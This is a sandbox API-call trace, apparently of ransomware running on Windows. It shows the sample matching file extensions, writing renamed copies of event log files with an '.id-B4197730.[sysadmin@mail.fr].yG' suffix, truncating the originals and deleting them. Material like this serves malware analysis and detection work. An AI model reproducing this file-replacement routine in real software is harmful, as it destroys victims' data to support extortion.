	[0053.159] lstrlenW (lpString=".bz2") returned 4
	[0053.159] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString=".7z") returned 3
	[0053.159] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.159] lstrlenW (lpString=".dbf") returned 4
	[0053.159] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.159] lstrlenW (lpString=".1cd") returned 4
	[0053.159] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.159] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0053.159] lstrlenW (lpString=".jpg") returned 4
	[0053.159] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.160] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.160] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41
	[0053.160] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.217] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0053.217] CloseHandle (hObject=0x34c) returned 1
	[0053.217] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20
	[0053.218] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.218] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.218] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.218] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.218] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0053.241] GetLastError () returned 0x0
	[0053.241] ReadFile (in: hFile=0x34c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.266] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.268] ReadFile (in: hFile=0x34c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.268] WriteFile (in: hFile=0x394, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x126, lpOverlapped=0x0) returned 1
	[0053.268] SetEndOfFile (hFile=0x394) returned 1
	[0053.285] CloseHandle (hObject=0x394) returned 1
	[0053.302] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.302] SetEndOfFile (hFile=0x34c) returned 1
	[0053.319] CloseHandle (hObject=0x34c) returned 1
	[0053.319] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.320] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1
	[0053.321] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString=".doc") returned 4
	[0053.322] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString=".docx") returned 5
	[0053.322] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.322] lstrlenW (lpString=".pdf") returned 4
	[0053.322] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString=".xls") returned 4
	[0053.322] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString=".xlsx") returned 5
	[0053.322] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.322] lstrlenW (lpString=".ppt") returned 4
	[0053.322] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString=".zip") returned 4
	[0053.322] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString=".rar") returned 4
	[0053.322] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString=".bz2") returned 4
	[0053.322] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString=".7z") returned 3
	[0053.322] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString=".dbf") returned 4
	[0053.322] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString=".1cd") returned 4
	[0053.322] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString=".jpg") returned 4
	[0053.322] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.322] lstrlenW (lpString=".doc") returned 4
	[0053.322] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.322] lstrlenW (lpString=".docx") returned 5
	[0053.323] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.323] lstrlenW (lpString=".pdf") returned 4
	[0053.323] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.323] lstrlenW (lpString=".xls") returned 4
	[0053.323] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.323] lstrlenW (lpString=".xlsx") returned 5
	[0053.323] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.323] lstrlenW (lpString=".ppt") returned 4
	[0053.323] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.323] lstrlenW (lpString=".zip") returned 4
	[0053.323] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.371] lstrlenW (lpString=".rar") returned 4
	[0053.371] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.371] lstrlenW (lpString=".bz2") returned 4
	[0053.371] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.371] lstrlenW (lpString=".7z") returned 3
	[0053.371] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.371] lstrlenW (lpString=".dbf") returned 4
	[0053.371] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.371] lstrlenW (lpString=".1cd") returned 4
	[0053.371] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0053.371] lstrlenW (lpString=".jpg") returned 4
	[0053.371] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.371] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.371] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42
	[0053.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.386] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0053.386] CloseHandle (hObject=0x334) returned 1
	[0053.386] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20
	[0053.386] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.386] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.386] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.387] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.489] GetLastError () returned 0x0
	[0053.489] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.507] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.509] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.509] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x128, lpOverlapped=0x0) returned 1
	[0053.509] SetEndOfFile (hFile=0x348) returned 1
	[0053.509] CloseHandle (hObject=0x348) returned 1
	[0053.511] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.511] SetEndOfFile (hFile=0x334) returned 1
	[0053.512] CloseHandle (hObject=0x334) returned 1
	[0053.512] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.512] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1
	[0053.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.513] lstrlenW (lpString=".doc") returned 4
	[0053.513] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString=".docx") returned 5
	[0053.513] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.513] lstrlenW (lpString=".pdf") returned 4
	[0053.513] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString=".xls") returned 4
	[0053.513] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString=".xlsx") returned 5
	[0053.513] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.513] lstrlenW (lpString=".ppt") returned 4
	[0053.513] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.513] lstrlenW (lpString=".zip") returned 4
	[0053.513] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString=".rar") returned 4
	[0053.513] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString=".bz2") returned 4
	[0053.513] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString=".7z") returned 3
	[0053.513] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.513] lstrlenW (lpString=".dbf") returned 4
	[0053.513] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.513] lstrlenW (lpString=".1cd") returned 4
	[0053.513] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.513] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.513] lstrlenW (lpString=".jpg") returned 4
	[0053.514] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.514] lstrlenW (lpString=".doc") returned 4
	[0053.514] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString=".docx") returned 5
	[0053.514] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.514] lstrlenW (lpString=".pdf") returned 4
	[0053.514] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString=".xls") returned 4
	[0053.514] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString=".xlsx") returned 5
	[0053.514] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.514] lstrlenW (lpString=".ppt") returned 4
	[0053.514] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.514] lstrlenW (lpString=".zip") returned 4
	[0053.514] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString=".rar") returned 4
	[0053.514] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString=".bz2") returned 4
	[0053.514] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString=".7z") returned 3
	[0053.514] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.514] lstrlenW (lpString=".dbf") returned 4
	[0053.514] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.514] lstrlenW (lpString=".1cd") returned 4
	[0053.514] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.514] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0053.514] lstrlenW (lpString=".jpg") returned 4
	[0053.514] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.514] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.515] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44
	[0053.515] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.515] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0053.515] CloseHandle (hObject=0x334) returned 1
	[0053.515] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20
	[0053.515] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.515] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.515] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.515] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.515] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.515] GetLastError () returned 0x0
	[0053.515] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.537] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.539] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.539] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x12c, lpOverlapped=0x0) returned 1
	[0053.539] SetEndOfFile (hFile=0x348) returned 1
	[0053.540] CloseHandle (hObject=0x348) returned 1
	[0053.541] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.541] SetEndOfFile (hFile=0x334) returned 1
	[0053.543] CloseHandle (hObject=0x334) returned 1
	[0053.544] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.544] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1
	[0053.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.544] lstrlenW (lpString=".doc") returned 4
	[0053.544] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".docx") returned 5
	[0053.545] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.545] lstrlenW (lpString=".pdf") returned 4
	[0053.545] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".xls") returned 4
	[0053.545] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".xlsx") returned 5
	[0053.545] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.545] lstrlenW (lpString=".ppt") returned 4
	[0053.545] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.545] lstrlenW (lpString=".zip") returned 4
	[0053.545] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".rar") returned 4
	[0053.545] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".bz2") returned 4
	[0053.545] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".7z") returned 3
	[0053.545] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.545] lstrlenW (lpString=".dbf") returned 4
	[0053.545] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.545] lstrlenW (lpString=".1cd") returned 4
	[0053.545] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.545] lstrlenW (lpString=".jpg") returned 4
	[0053.545] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.545] lstrlenW (lpString=".doc") returned 4
	[0053.545] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".docx") returned 5
	[0053.545] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.545] lstrlenW (lpString=".pdf") returned 4
	[0053.545] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.545] lstrlenW (lpString=".xls") returned 4
	[0053.546] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.546] lstrlenW (lpString=".xlsx") returned 5
	[0053.546] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.546] lstrlenW (lpString=".ppt") returned 4
	[0053.546] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.546] lstrlenW (lpString=".zip") returned 4
	[0053.546] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.546] lstrlenW (lpString=".rar") returned 4
	[0053.546] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.546] lstrlenW (lpString=".bz2") returned 4
	[0053.546] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.546] lstrlenW (lpString=".7z") returned 3
	[0053.546] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.546] lstrlenW (lpString=".dbf") returned 4
	[0053.546] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.546] lstrlenW (lpString=".1cd") returned 4
	[0053.546] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0053.546] lstrlenW (lpString=".jpg") returned 4
	[0053.546] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.546] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.546] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57
	[0053.546] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.547] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0053.547] CloseHandle (hObject=0x334) returned 1
	[0053.547] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20
